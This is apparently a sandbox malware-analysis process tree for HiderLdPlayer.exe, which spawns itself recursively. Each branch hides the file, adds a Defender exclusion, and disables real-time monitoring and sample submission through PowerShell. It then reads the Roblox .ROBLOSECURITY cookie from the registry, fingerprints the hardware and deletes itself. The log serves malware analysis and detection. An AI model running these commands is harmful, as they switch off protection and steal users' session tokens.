        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        140⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        139⤵
        
        PID:5900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        138⤵
        
        PID:5568
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        139⤵
        
        PID:4912
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        139⤵
        Views/modifies file attributes
        
        PID:6840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        139⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6588
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        139⤵
        
        PID:6152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        139⤵
        
        PID:6680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        139⤵
        
        PID:1580
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        139⤵
        
        PID:5200
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        139⤵
        
        PID:2400
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        139⤵
        
        PID:7084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        139⤵
        
        PID:404
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        139⤵
        Detects videocard installed
        
        PID:5288
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        139⤵
        
        PID:6248
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        140⤵
        Runs ping.exe
        
        PID:5680
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        137⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        136⤵
        
        PID:6152
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        135⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        134⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        133⤵
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        132⤵
        
        PID:6300
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        131⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        130⤵
        
        PID:7016
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        129⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        128⤵
        
        PID:5232
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        127⤵
        
        PID:6732
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        126⤵
        
        PID:2400
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        125⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        124⤵
        
        PID:2192
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        123⤵
        
        PID:6824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        122⤵
        
        PID:1584
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        123⤵
        
        PID:3900
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        123⤵
        Views/modifies file attributes
        
        PID:7084
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        123⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        123⤵
        
        PID:1080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        123⤵
        
        PID:6772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        123⤵
        
        PID:5424
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        123⤵
        
        PID:6444
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        123⤵
        
        PID:2228
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        123⤵
        
        PID:5680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        123⤵
        
        PID:6452
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        123⤵
        Detects videocard installed
        
        PID:6600
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        123⤵
        
        PID:4808
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        124⤵
        Runs ping.exe
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        121⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        120⤵
        
        PID:1720
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        119⤵
        
        PID:1916
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        118⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        117⤵
        
        PID:1916
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        116⤵
        
        PID:6800
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        115⤵
        
        PID:6680
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        114⤵
        
        PID:2888
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        113⤵
        
        PID:3900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        112⤵
        
        PID:5624
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        111⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        110⤵
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        109⤵
        
        PID:752
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        108⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        107⤵
        
        PID:3928
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        106⤵
        
        PID:6772
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        105⤵
        
        PID:6228
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        106⤵
        
        PID:4380
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        106⤵
        Views/modifies file attributes
        
        PID:4524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        106⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1116
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        106⤵
        
        PID:7136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        106⤵
        
        PID:6808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        106⤵
        
        PID:916
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        106⤵
        
        PID:6204
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        106⤵
        
        PID:6872
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        106⤵
        
        PID:4660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        106⤵
        
        PID:5108
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        106⤵
        Detects videocard installed
        
        PID:1080
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        106⤵
        
        PID:6808
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        107⤵
        Runs ping.exe
        
        PID:2564
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        104⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        103⤵
        
        PID:6756
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        102⤵
        
        PID:4420
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        101⤵
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        100⤵
        
        PID:4300
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        99⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        98⤵
        
        PID:6228
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        97⤵
        
        PID:5824
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        96⤵
        
        PID:6932
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        95⤵
        
        PID:6836
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        94⤵
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        93⤵
        
        PID:900
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        92⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        91⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        90⤵
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        89⤵
        
        PID:7116
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        88⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        87⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        86⤵
        
        PID:7044
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        87⤵
        
        PID:6996
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        87⤵
        Views/modifies file attributes
        
        PID:2440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        87⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        87⤵
        
        PID:1916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        87⤵
        
        PID:6788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        87⤵
        
        PID:6512
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        87⤵
        
        PID:404
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        87⤵
        
        PID:4808
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        87⤵
        
        PID:2440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        87⤵
        
        PID:6500
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        87⤵
        Detects videocard installed
        
        PID:3600
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        87⤵
        
        PID:4360
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        88⤵
        Runs ping.exe
        
        PID:6268
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        85⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        84⤵
        
        PID:5256
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        83⤵
        
        PID:1584
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        82⤵
        
        PID:1720
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        81⤵
        
        PID:372
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        80⤵
        
        PID:404
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        79⤵
        
        PID:3164
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        78⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        77⤵
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        76⤵
        
        PID:7056
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        75⤵
        
        PID:2980
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        74⤵
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        73⤵
        
        PID:1256
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        72⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        71⤵
        
        PID:7044
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        70⤵
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        69⤵
        
        PID:820
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        68⤵
        
        PID:6836
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        67⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        66⤵
        
        PID:7128
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        67⤵
        
        PID:6736
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        67⤵
        Views/modifies file attributes
        
        PID:7044
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe'
        67⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        67⤵
        
        PID:6888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        67⤵
        
        PID:6376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        67⤵
        
        PID:5680
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        67⤵
        
        PID:4688
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        67⤵
        
        PID:6952
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        67⤵
        
        PID:2968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        67⤵
        
        PID:968
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        67⤵
        Detects videocard installed
        
        PID:6864
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe" && pause
        67⤵
        
        PID:6980
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        68⤵
        Runs ping.exe
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        65⤵
        
        PID:5568
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        64⤵
        
        PID:5552
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        63⤵
        
        PID:7136
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        62⤵
        
        PID:6228
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        61⤵
        
        PID:5920
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        60⤵
        
        PID:3864
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        59⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        58⤵
        
        PID:4876
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        57⤵
        
        PID:6864
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        56⤵
        
        PID:4320
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        55⤵
        
        PID:6224
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        54⤵
        
        PID:6720
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        53⤵
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        52⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        51⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        50⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        49⤵
        
        PID:4172
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe"
        48⤵
        
        PID:6852
        
        C:\Users\Admin\AppData\Local\Temp\HiderLdPlayer.exe
        
